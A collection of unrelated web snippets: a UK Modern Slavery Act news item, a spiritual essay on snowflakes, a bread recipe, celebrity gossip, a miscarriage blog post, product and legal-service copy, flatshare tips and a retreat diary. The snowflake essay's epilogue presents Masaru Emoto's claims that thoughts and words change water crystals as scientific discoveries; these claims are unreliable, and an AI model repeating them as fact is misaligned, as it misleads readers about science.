The anti-slavery legislation, the first of its kind in Europe, includes a clause that requires business to disclose what they are doing to ensure there is no slavery in their supply chain. In addition, it strengthens enforcement powers, increases the maximum sentence for serious offences from 14 years to life in prison, and provides more protection and support for victims.
"The presence of modern slavery in today's society is an affront to the dignity and humanity of every one of us. The Modern Slavery Act 2015 is an historic milestone," said home secretary Theresa May.
"This landmark legislation sends the strongest possible signal to criminals that if you are involved in this vile trade you will be arrested, you will be prosecuted and you will be locked up. And it says to victims, you are not alone - we are here to help you.
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Hydrologic Logic: What People Can Learn From Snowflakes
"Be melting snow.
Wash yourself of yourself."
~ Rumi
Hydrologic Logic: What People Can Learn From Snowflakes
Spiritual teachers say we can learn about ourselves by closely observing all of Nature's manifestations and processes.
"As above, so below; as below, so above."
So, what can we learn about ourselves by studying snowflakes and hydrologic processes?
Science tells us that though countless trillions of snowflakes have fallen on earth each has a unique form; that each snowflake is an hexagonally symmetrical crystalline form which begins around a tiny speck of dust – as each pearl forms around a sand particle – but that no two snowflakes are exactly alike.
How amazing!!! http://www.its.caltech.edu/~atomic/snowcrystals/faqs/faqs.htm
Yet, despite this wondrous and unimaginable diversity of forms, all snowflakes have a common essence — frozen water, H20.
When a snowflake melts, it returns to and merges with its watery source, which is perpetually recycled. So, each snowflake's essence is the same – recycled water, which has formed countless unique prior snowflakes.
Not only are snowflakes unified in amazing physical diversity by their common watery essence, but science says that their common essence is indestructible. Water – a liquid – is a form of 'matter' which is merely manifest energy – E=mc2. And energy can't be destroyed. It just recycles endlessly from formlessness to differing forms and phenomena. So, in their essence, snowflakes are immortal energy.
People are like snowflakes
Like snowflakes, each of the billions of humans who have inhabited Earth has had an individually unique form and genetic makeup. Like snowflakes, human physical bodies are composed of common elemental earth constituents, including mostly water. People's physical bodies – like snowflakes – appear for a twinkling of time, die and physically 'melt' back into the watery Earth.
But, presumably unlike snowflakes, each of us is aware of our environment and of our life's experiences; and this awareness is our entire existence. So, while unique snowflakes are united in glorious diversity by their common watery essence, physically unique human beings, are unified not only by their common elemental earthly constituents but, also, by their by their common essence – consciousness, which is the sole context of human beingness.
Snowflakes appear in Nature and, apparently, are peacefully at one with Nature until they disappear. Humans appear in Nature but – unlike snowflakes – we have great intelligence and we think a lot. And through thought we identify ourselves as our perceived separate forms. Thus, we think that we are entities "condemned" by nature to inevitable bodily death. But we don't know what will happen to us upon such death.
So, we become afraid of dying; of giving up the known for the unknown. And, through thought, we try psychologically to "protect" and preserve our ephemeral physical forms and to deter or deny their inevitable demise. Accordingly, our lives are often marked by mental afflictions causing conflicts, problems and suffering, which disturb our peace and awareness of at-one-ment with Nature.
What people can learn from snowflakes
Q. So, what can people learn from snowflakes?
A. To let go and 'go with the flow'; to 'cool it' and to not worry about our inevitable disappearance.
We can realize that we are much more than our unique physical forms or our thoughts. That like snowflakes we are inextricably interdependent essential elements of Nature; that Nature is our nature, until we melt into Mystery and disappear into Nature's Eternal Essence.
Realizing this, we can begin more and more to self-identify with Nature as our immortal Essence rather than our ephemeral forms and thoughts; and, gradually, we can expand our perceived boundaries, to ever evolve as these boundaries dissolve.
Thus, we can more and more live with less and less anxiety, fear and worry. Though in this life we may never totally transcend entity identity, often we can just be at peace – as immortal awareness.
And so,
"As we lose our fear, Of leaving life, We shall gain the art of living life."
And – like snowflakes – maybe some day we'll be 'recycled' some way. e.g. http://www.victorzammit.com/Whenwedie/whatdoeshappen.htm
Or maybe not. e.g. http://tinyurl.com/mlw6erq
In all events, – like snowflakes – we need not worry about leaving. For
"It is in dying [to ego life] that we are reborn to Eternal Life."
~ Saint Francis of Assisi, peace prayer
Here's what Paramahansa Yogananda says:
"The dewdrop belongs to the sea. Separated, it is vulnerable to the sun and wind and other elements of nature; but when the droplet returns its source, it becomes magnified in oneness with the sea. So it is with your life. United to God you become immortal."
So let us remember as elements of Nature to not worry, and to be happy – like snowflakes!
Ron Rattner
Hydrologic Logic Epilogue, November 2017.
The foregoing essay was inspired by the pioneering research of Dr. Masaru Emoto whose astonishing discoveries, documented photographically, led to awakened awareness about water – Earth's most precious resource. According to NASA, "Water is the fundamental ingredient for life on Earth."
Dr. Emoto discovered that molecules of water are affected by our thoughts, words, and feelings, so that that humans can positively impact the earth and our personal health through positive and harmonious attitudes and actions, especially with attention to water; that since the Earth is 70 percent water and people are 70 percent water, he theorized that we can heal our planet and ourselves by consciously expressing love and goodwill to and through water.
He explained that crystals formed in frozen water reveal changes when specific, concentrated thoughts are directed toward them; that water from clear springs and water that has been exposed to loving words shows brilliant, complex, and colorful snowflake patterns, whereas polluted water, or water exposed to negative thoughts, forms incomplete, asymmetrical patterns with dull colors.
Also Dr. Emoto described the ability of water – like a liquid computer – to absorb, hold, and even retransmit human feelings and emotions. Using high-speed photography, he found that crystals formed in frozen water reveal changes when specific, concentrated thoughts are directed toward them. Music, visual images, words written on paper, and photographs also have an impact on the crystalline structures. Emoto theorized that since water has the ability to receive a wide range of frequencies, it can also reflect the universe in this manner.
Especially in this Thanksgiving season when insanely delusional human behaviors imminently threaten life on Earth as we have known it, let us gratefully cherish and harmoniously heal our precious watery world – eloquently described by Carl Sagan as a "pale blue dot" in this vast universe.
And let us be guided by these wise words from Paramahansa Yogananda:
"Every day should be a day of Thanksgiving for all the gifts of Life — sunshine, water, the luscious fruits and greens, which we receive as indirect gifts from the Great Giver."
And so may it be!
"The Secret Life of Water"
Embedded below is a beautiful nine minute video with healing music, watery photography, and with words from Dr. Emoto titled "The Secret Life of Water"


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Sorry, I know it's been a very long while since I last posted. Things were frenetic in the lab and I'm taking the time these days to do a bit of catching up.
Now, on to the bread: it's packed with dense, spinach flavour and makes a great, hearty tomato and mayo sandwich, or pairs nicely with carrot soup.
Reading the original post makes me laugh:
But, this isn't a bread for a person new to making yeast breads. The lavish amount of spinach made for an odd dough. It was stiff, moist, but not sticky–and never really came together in an elastic ball like regular bread dough. I kneaded it in my Mixmaster for almost 10 minutes.
The only yeasted item I made before this was naan (a type of Indian flatbread). I guess I was foolhardy back then, ignoring the "this isn't a bread for a person new to making yeast breads" haha. I even had to Google what a Mixmaster was! Anyway, it still turned out well so don't be afraid even if you haven't made many yeast breads before tackling this recipe.
Hearty Spinach and Feta Cheese Bread
Adapted from What Did You Eat?
– 2 tbsp olive oil
– 6 oz crumbled feta cheese
– 2-1/4 tsp active dry yeast
– 1/4 tsp sugar
– 2 x 10 oz packages of frozen spinach, thawed (this can be done in a microwave), squeezed dry, but liquid reserved
– 1/4 tsp ground nutmeg
– 3-3/4 cups unbleached all-purpose flour
– 2 tsp salt
Warm 1/4 cup of the reserved spinach liquid to just above 100F (105 to 115, ideally).
Stir the yeast and sugar into the warm spinach liquid, let stand until foamy, 10 minutes.
Add remaining 1/2 cup spinach liquid, feta cheese, oil, spinach, and nutmeg and stir thoroughly.
Mix the flour and salt and stir into the spinach mixture.
Knead on a floured surface or in a Mixmaster until dough is well marbled, 8 to 10 minutes. Add more flour, if the dough is sticky, but it is okay if it is slightly moist. Place the dough in an oiled bowl, cover tightly with plastic wrap, and let rise until doubled, 1-1/4 to 1-1/2 hours.
The dough may be even wetter after rising because of the spinach. Pour the dough onto a well-floured work surface and flour the top of the dough if necessary. Shape into a loaf and place on a lightly oiled bread pan. Cover with a towel and let rise until doubled, about 45 minutes.
Preheat oven to 425F. Bake for 10 minutes, then reduce the heat to 400F and bake the loaf 30 to 35 minutes.
Cool completely on a rack.
I'm submitting this bread to Yeastspotting at Susan's Wild Yeast blog.
This post is dedicated to the memory of Sherry Cermak, the creator of What Did You Eat?, who passed away suddenly on July 20, 2008. I can't say that I knew her well, but it was her spinach and feta cheese bread (with nutmeg) recipe that produced my very first loaf of homemade yeast bread and in many ways helped nurture my love for baking.
Sherry will be missed not only by her family and friends, but by fellow food enthusiasts who were inspired by her as well.


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Why aren't you in your underwear?
As you know, he and his wife are the spokesbodies for the Armani underwear line. David Beckham played for England and enjoyed a 6-0 win yesterday over Andorra and today showed up at Selfridges for an in-store appearance to promote the brand and unveil a new ad.
F-ck he is hot. With and without clothes.
Posh is in London with him, they went out for dinner last night following the game, but she shockingly stayed in the background at the event today…
Out of modesty?
Probably a bad hair day.
On the subject of hair, check out the ad: David's is severely slicked and sidecombed, his body is greased, and he's holding a long, thick rope. This is why every gay in your office just went to the washroom.
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Every morning I try and do a little blogging before Little Man wakes, this includes writing posts, editing, updating social media and checking my stats. There is one thing that will always stop me in my tracks and take my breath away and that is when someone has typed something into a search engine and arrived at one of my posts regarding miscarriage.
Nearly every week I get random hits on, arguable one of the most read posts I've ever published, what not to say to someone who has just had a miscarriage.
This fills me with both sadness and comfort. The fact someone is going to such lengths to support someone can only be seen as a good thing, even if they're not too sure what to actually do with the information. Inevitably this also leads to Readers clicking on my follow up post of how to comfort someone who has just had a miscarriage.
On one hand it goes to show that dialogue is being opened around this once very taboo subject, that people are acknowledging the life changing loss and not simply telling a couple to try again. I wrote those posts to help people, people who may not have been touched in this way. Grief will always be a horrible thing to deal with and when it surrounds the loss of a pregnancy or infant it will intensify.
I look at my stats and get taken back to my own miscarriages and the agonizingly fresh, painful time that followed. I begin to wonder. Who is this person? Who are they hoping to comfort? I hope they're okay and know they're not alone. I wonder if they have a pet that is following them around trying to comfort them or if they are just watching mindless TV while their body heals. I wonder if they have existing children and therefore have to simply get on with their day and are unable to grieve properly. I wonder if the person who typed that awful sentence into Google or Bing and got my blog will actually use any of my suggestions and if they will be of a comfort.
My kids are going to read this blog one day and I want them to be proud of what I tried to do, my willingness to share and desire to help others that can either relate or are needing guidance. I want them to know the struggle we had, that life isn't all rosy but that you can get through the tough times.
You can survive.
And that single sentence, right there, is just the absolute crux of it…
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Tom Pecheux, Lauder's Creative Make-up Director, says, "for this collection, I thought of amazing boutiques from the flower market, the pretty pastels of children's carousels and the pops of colour from macaroons".
Trying two shades, I was very happy with the quality of the polish. The brush is fairly short and thick, meaning that application is easy and quick. Consistency is fairly thick, so colour intensity is easy to gain and even one coat will give a lovely coverage (although I'd always suggest going with two for the perfect finish). The formula is very glossy and looks really shiny even before a top coat.
Here are two of the shades from the collection…
This is a beautiful lavender shade and looks so pretty on. Against Esme's fair skin it looks very light – she could almost get away with it as a nude shade. It gives a very classic, fresh look, almost like a slightly brighter french manicure. A universally flattering shade, this has already sold out online so visit your nearest counter if you'd like to snatch this up!
A colour I wasn't so sure about in the bottle, Absinthe looked gorgeous when applied. I must say that against my fair skin it wasn't the most flattering (you always have to be careful if you're fair with pastels) but when I applied it to another friend with a warmer skin tone it looked amazing. If you have olive or darker skin tones then I'd definitely recommend experimenting with this colour. Fair girls, stick to the Lilac Lavendar for a more flattering manicure.
A quaint and pretty collection, make sure you find your perfect shade before they're gone! You can find these in Estee Lauder counters nationwide from January.


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The decision to separate is never easy. Our highly skilled legal team are here to help you navigate the process and provide clear, honest legal advice on all matters relating to divorce, separation or dissolution.
We recognise the prospect of a divorce can be daunting for those in an unhappy marriage. Our divorce solicitors cannot advise you on the future of your relationship, but we are able to provide reliable and valuable legal advice for your separation, divorce or dissolution.
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This is because the only ground for divorce in England and Wales is the irretrievable breakdown of your marriage, which is proven by citing one of five factors: adultery, unreasonable behaviour, desertion, two years separation with consent or five years separation (no consent required). There is no such thing as an instant, 'no fault' divorce – as yet.
The most common reason given for the irretrievable breakdown of a marriage is unreasonable behaviour. This is a subjective area; the petitioner must simply establish that his or her spouse has behaved in a way such that he or she can no longer be expected to live with them. It is not usually necessary to provide more than a short account of the situation at home prior to the end of the marriage.
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We understand that divorce can not only be a lengthy and stressful process, but costly as well, which is why we have an open approach to legal costs and aim to be as transparent as possible throughout. Our clients are offered a fixed fee of £650 plus VAT and court fees for uncontested divorces, and you can usually recoup some or all of those costs from your spouse if you are the petitioner.
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ProNett are proud to announce that three of its prestigious customers Stonegate, Nando's and Carluccio's have all extended their system usage contracts for a further three years.
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Five Guys is an American fast food casual restaurant chain focused on hamburgers, hot dogs and french fries. The first Five Guys restaurant was opened in 1986 in Arlington County, Virginia. Founded by Janie and Jerry Murrell and their five sons hence where the simple yet effective name 'Five Guys' comes from are still heavily involved with the running of the business across its many sites in the USA and Canada.
Jamie Barber has been joined by Ed Standring (Former Richoux MD) and Ian Neill (Former Wagamama Chief Exec) in The Sweet Potato Groups most recent purchase of Haché Burger. Having all worked with brands who utilise our market leading maintenance software, their first port of call for maintenance management after purchasing Haché was ProNett.
At the start of the year sister brand Cau, chose ProNett as its property maintenance software solution. After observing the success of the system, Gaucho have now rolled ProNett out across its estate too. Gaucho is recognised as a high end luxury restaurant brand and believes that every guest should experience a little bit of argentine life.
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We have yet to meet a little boy (or little girl, for that matter) who isn't fascinated by pirates. Now your child can hoist the mainsail and set off to explore the seven seas with our fantastic pirate toy as their companion. Perhaps they'll even find some treasure!
All Pebble products are made in Bangladesh by the extremely talented and capable artisans at Hathay Bunano ps. We love their workmanship and we love rural Bangladesh. Pebble toys are our small contribution to supporting families in rural Bangladesh, to removing the need for economic migration to the cities and to providing women with flexible working opportunities which are close to their homes. All Pebble toys are 100% cotton with 100% polyester fill. About 33cm long. They are all machine washable at 40 degrees and can be tumble dried on a low setting.


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WCT serves an essential role, not only in managing the care and recovery of Soldiers evacuated from theater, but also those preparing to deploy and those who have returned from combat that require complex care management to cope with the effects of war and multiple deployments. WCT works to ensure everything possible is done to enable Soldiers to return to duty. WCT also plays an important role in ensuring Reserve Component Soldiers receive the care they require prior to and after deployment to remain mission ready.
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It was announced earlier this week that Shia LaBeouf was leaving the play Orphans over "creative differences." Well, thanks to the Transformers star's Twitter account, we now know who those creative differences were with and why exactly LaBeouf was asked to leave.
LaBeouf took to Twitter last night to share various emails from his co-stars, Alex Baldwin and Tom Sturridge, as well as his director Daniel Sullivan, after his dismissal was announced.
Sullivan explained to LaBeouf that he was let go because he was "incompatible" with his co-star Alec Baldwin. Sullivan had nothing but nice things to say to LaBeouf but ultimately had to let him go because having two volatile actors on the set was too much for him to handle.
Sullivan said:
"I'm too old for disagreeable situations. You're one hell of a great actor. Alec is who he is. you are who you are. you two are incompatible. I should have known it. This one will haunt me. You tried to warn me. you said you were a different breed. I didn't get it."
Baldwin also wrote LaBeouf an email saying that he "didn't have a bad word" to say about the actor.
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"It's been awhile. And perhaps some of the particulars are different. But it comes down to the fact that what we all do now is critical. Perhaps especially for you. I don't have an unkind word to say about you. You have my word."
LaBeouf also received messages from Tom Sturridge and fight director Rick Sordelet, who both had nothing to do with the controversy, but wanted to give LaBeouf a kind word on his departure.
"I don't really know what to write. I went in this afternoon and they were all there … producers, etc. I said my piece but they didn't really listen … All I can say is that it truly was an honor to work with you even if it was only for a few days. I was stunned by the work you were doing, the performance you were giving. I think you lifted the play to a place higher than maybe it even deserved to be … Hope you're okay brother."
Sordelet added:
"Sorry things went down like they did. It's a pity Broadway will not get to see your Treat. It was obvious you were going to turn in a fantastic performance. But you are a divinely guided young man and it will all become clear in a short time."
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— Shia LaBeouf (@thecampaignbook) February 20, 2013
You won't be getting a chance to see Shia LaBeouf in Orphans but you can get a taste of what his performance would have been like. Here's his audition tape.
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New Year is always the time when folk re-assess their lives and decide to move on – quite literally - and swap their cramped shoebox-sized hovel for something more agreeable. Looking for a flatshare in London is hard at the best of times, however, so LondonNet's resident flatsharers have come up with a handy home-hunting guide.
1. Decide on an area. This makes life a lot easier. Far be it for us to generalise, but South London wins on open spaces and parks but, as far as transport goes, you only need to look at the Tube map to see that North London is easier to get around.
2. Landlord or agency? Agencies are a bit easier to get hold of when the radiator blows up and you find your carpet disappearing underneath a murky coloured liquid. Landlords can be conveniently away on business. Except when the rent is due of course.
3. Get on the phone. When calling about a place, usually it's best to phone around 8am. Ring any earlier and you'll have annoyed the hell (and probably ruined your chances of getting the room) out of your potential flatmates by depriving them of a vital 20 minutes of shut-eye. Any later you'll probably be faced with those disparaging three little words: 'It's already gone.'
4. Don't forget the A-Z. It's easy enough to get lost - more so if you don't have a map! Which means by the time you get there, the room will almost certainly have gone and you'll look something of a buffoon. Or you could end up in the wrong area altogether – funnily enough some streets sound suspiciously similar. If in doubt, ring them again!
5.Is it safe? On arrival, does the place look OK from the outside? Your new pad doesn't need to be like Fort Knox (well, unless it's in New Cross). So long as the windows have adequate fastenings, the door has a good lock and doesn't look like it could be kicked in by a ten year old, (or you're on the 26th floor of a block), then you're ok.
6. Cleanliness, as we all know, is next to godliness. OK, so the washing up needs doing and the place could do with a bit of a hoover, but if it starts resembling the back of a dustman's lorry then you really need to start worrying, unless you love living in a pigsty. Some places have a cleaner (the money comes out of the rent) others have rotas (if you are disciplined enough to stick to it) and some just clean as and when!
7. Is everything in working order? Does the loo flush? Does the shower work (it needn't be a power shower but if water comes out like someone urinating on your head then it can get a little frustrating). Bags of dirty washing everywhere suggests that someone's bra-wire has broken the washer. And three months down the line it's still waiting to be fixed. Some, however, don't even have a washer. Which means weekly visits to the laundrette. And who, in their half-arsed mind, can be bothered with that?
8. Bills. It's important to check whether or not the bills are included. If the ad says 'inc', it means bills are included; if 'exc' or if it doesn't say, then they aren't. Simple really. Else what you thought was a reasonable 350pcm, could turn into nearly 450 or 500 with bills on top. And therefore totally unaffordable. Yikes!
9. Investigate the surroundings. Does the house shake for a few seconds? Then you could be next to the West Coast mainline... If you're a heavy sleeper, then trains shooting past till 2am won't bother you so much. But if not you'll be losing plenty of sleep and will be a right irritable soul by morning. If you haven't slept through your alarm that is.
10. Get chatting. After being shown round the house, chances are (unless they've all gone down the pub) you'll have a chance to chat to your prospective flatmates. Accountants or anyone in the legal profession could be useful if you're a freelancer and need to get round those tax problems. Students? Great for partying but not so good when you need an early night in order to get up at 6am.
11. Call them back. Flat-hunting is a rat-race. So don't hang about. If there's a place you particularly like, ring them up and ask them if they've made a decision. If you hit it off when you first met them then your luck is in. If not, there's always other places to see...


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Hi. My name is Piotr. I'm from Poland. I want to learn how to programming in Java. I know some basics, but i need a little more knowledge. I hope I'll find here answers for all my questions.
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Sunday morning was bittersweet as it was our last day at Hope Springs Institute, but we were excited about the activities Lotus Flower Studio had planned for us. The day started off in the Spirit House for pranayama and meditation around the fire. I mostly reflected on how simple all of this seems here at Hope Springs and whether or not I will be able to incorporate these techniques in my daily life.
Breakfast was amazing. In fact, all the breakfasts, lunches, and dinners at Hope Springs were amazing. I was thrilled that they were able to handle my crazy diet without it causing any problems. In fact, the gluten free options tended to go as quickly if not quicker than the regular options. It was amazing to have someone take care of you like that. I'm still not used to having to make my own meals and it's been a few days. I was thrilled that Hope Springs has their own cook book ($20.00) so once I feel like cooking again I can recreate the meals I enjoyed there.
After breakfast we went on a hike, this time through the meadows and we got to see more butterflies and the clear blue sky. I could get used to going on long walks after every meal.
I started not feeling great so I thought I would rest a while and took the time everyone was in the final yoga session to get completely packed and even felt ok enough after a while to venture to Spirit House since I think this is the place I will miss the most. My sister came along later and we had fun recapping the whole experience.
After lunch, we had a raffle and I won a yoga strap and Beth gave me her eye pillow that she won because she says she can fall asleep anywhere at any time under any circumstances.
It was tough leaving such an amazing place and I'm really hoping to go back someday when I need another recharge. (Umm, like this weekend maybe…)